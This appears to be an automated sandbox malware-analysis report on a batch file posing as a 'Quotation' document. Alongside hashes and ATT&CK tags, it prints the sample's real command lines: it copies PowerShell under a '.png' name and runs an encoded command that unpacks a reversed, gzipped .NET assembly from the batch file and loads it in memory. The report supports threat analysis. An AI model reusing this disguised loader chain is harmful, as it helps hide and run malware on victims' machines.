4b1314d38a54e24ee3cb36e2485ff1a3b7e9d3bd9e0feebc71ef955653f4e3d3

General

Target

Quotation 9117990927023.bat
Size

1013KB
MD5

82ea0e8631cc002a509a86edc2882e90
SHA1

76d51a264ce95c422947a7563d08d229be03f4e6
SHA256

4b1314d38a54e24ee3cb36e2485ff1a3b7e9d3bd9e0feebc71ef955653f4e3d3
SHA512

c23720a1f359a2c1d0e20db1f92a8fe5383170279bdc7b68f6fca3e5e3365c530401156aec8bfd5a7d22ff98f188413ebd4609bb4ca2aa900177daab84c5717e
SSDEEP

24576:bO6nHMuwW4sVl0A2ahdLNpQeu+SqME0N95Nw515:fnmodHdUgP

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
2620	Fdkitmrjwhy.png

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2620	Fdkitmrjwhy.png

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2620	Fdkitmrjwhy.png

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2620	Fdkitmrjwhy.png

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 1448 wrote to memory of 1652	1448	cmd.exe	30
PID 1448 wrote to memory of 1652	1448	cmd.exe	30
PID 1448 wrote to memory of 1652	1448	cmd.exe	30
PID 1448 wrote to memory of 2192	1448	cmd.exe	29
PID 1448 wrote to memory of 2192	1448	cmd.exe	29
PID 1448 wrote to memory of 2192	1448	cmd.exe	29
PID 1448 wrote to memory of 2980	1448	cmd.exe	31
PID 1448 wrote to memory of 2980	1448	cmd.exe	31
PID 1448 wrote to memory of 2980	1448	cmd.exe	31
PID 2980 wrote to memory of 2392	2980	cmd.exe	33
PID 2980 wrote to memory of 2392	2980	cmd.exe	33
PID 2980 wrote to memory of 2392	2980	cmd.exe	33
PID 2980 wrote to memory of 1184	2980	cmd.exe	34
PID 2980 wrote to memory of 1184	2980	cmd.exe	34
PID 2980 wrote to memory of 1184	2980	cmd.exe	34
PID 2980 wrote to memory of 2356	2980	cmd.exe	36
PID 2980 wrote to memory of 2356	2980	cmd.exe	36
PID 2980 wrote to memory of 2356	2980	cmd.exe	36
PID 2980 wrote to memory of 2600	2980	cmd.exe	35
PID 2980 wrote to memory of 2600	2980	cmd.exe	35
PID 2980 wrote to memory of 2600	2980	cmd.exe	35
PID 2980 wrote to memory of 2620	2980	cmd.exe	37
PID 2980 wrote to memory of 2620	2980	cmd.exe	37
PID 2980 wrote to memory of 2620	2980	cmd.exe	37
PID 2980 wrote to memory of 2620	2980	cmd.exe	37

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Quotation 9117990927023.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1448
- C:\Windows\system32\xcopy.exe
  xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Fdkitmrjwhy.png
  2⤵
  PID:2192
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo F "
  2⤵
  PID:1652
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\Quotation 9117990927023.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2980
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo F "
    3⤵
    PID:2392
- - C:\Windows\system32\xcopy.exe
    xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Fdkitmrjwhy.png
    3⤵
    PID:1184
- - C:\Windows\system32\xcopy.exe
    xcopy /d /q /y /h /i "C:\Users\Admin\AppData\Local\Temp\Quotation 9117990927023.bat" C:\Users\Admin\AppData\Local\Temp\Fdkitmrjwhy.png.bat
    3⤵
    PID:2600
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo F "
    3⤵
    PID:2356
- - C:\Users\Admin\AppData\Local\Temp\Fdkitmrjwhy.png
    C:\Users\Admin\AppData\Local\Temp\Fdkitmrjwhy.png -win 1 -enc JABZAHUAYgBwAG4AZABkAGkAdQBzAHEAIAA9ACAAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQATABpAG4AZQBzACgAKAAoAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlACkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACIALgBiAGEAdAAiACkALAAgAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4ACkAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0AbABhAHMAdAAgADEAOwAgACQAVABlAHYAcQBrAGcAeABwAGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAWQB1AGIAcABuAGQAZABpAHUAcwBxACkAOwAkAFoAZQBsAGYAegAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAoACAALAAgACQAVABlAHYAcQBrAGcAeABwAGcAIAApADsAJABvAHUAdABwAHUAdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQAQwBmAGYAYgBtAGgAcQBuAHcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAgACQAWgBlAGwAZgB6ACwAIAAoAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAJABDAGYAZgBiAG0AaABxAG4AdwAuAEMAbwBwAHkAVABvACgAIAAkAG8AdQB0AHAAdQB0ACAAKQA7ACQAQwBmAGYAYgBtAGgAcQBuAHcALgBDAGwAbwBzAGUAKAApADsAJABaAGUAbABmAHoALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABUAGUAdgBxAGsAZwB4AHAAZwAgAD0AIAAkAG8AdQB0AHAAdQB0AC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABUAGUAdgBxAGsAZwB4AHAAZwApADsAIAAkAEUAdABnAG8AaABhAHcAagB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAFQAZQB2AHEAawBnAHgAcABnACkAOwAgACQAVAB4AHMAdwBsAGYAbQBvAHAAeAB0ACAAPQAgACQARQB0AGcAbwBoAGEAdwBqAHQALgBHAGUAdABFAHgAcABvAHIAdABlAGQAVAB5AHAAZQBzACgAKQBbADAAXQA7ACAAJABEAG8AbgBnAHUAeQBiAGkAYQAgAD0AIAAkAFQAeABzAHcAbABmAG0AbwBwAHgAdAAuAEcAZQB0AE0AZQB0AGgAbwBkAHMAKAApAFsAMABdAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2620

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Fdkitmrjwhy.png

Filesize
442KB

MD5
92f44e405db16ac55d97e3bfe3b132fa

SHA1
04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

SHA256
6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

SHA512
f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

Download Submit
C:\Users\Admin\AppData\Local\Temp\Fdkitmrjwhy.png

Filesize
442KB

MD5
92f44e405db16ac55d97e3bfe3b132fa

SHA1
04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

SHA256
6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

SHA512
f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

Download Submit
memory/2620-8-0x00000000742C0000-0x000000007486B000-memory.dmp

Filesize
5.7MB

Download
memory/2620-9-0x00000000742C0000-0x000000007486B000-memory.dmp

Filesize
5.7MB

Download
memory/2620-10-0x00000000025F0000-0x0000000002630000-memory.dmp

Filesize
256KB

Download
memory/2620-11-0x00000000025F0000-0x0000000002630000-memory.dmp

Filesize
256KB

Download
memory/2620-12-0x00000000742C0000-0x000000007486B000-memory.dmp

Filesize
5.7MB

Download

Analysis

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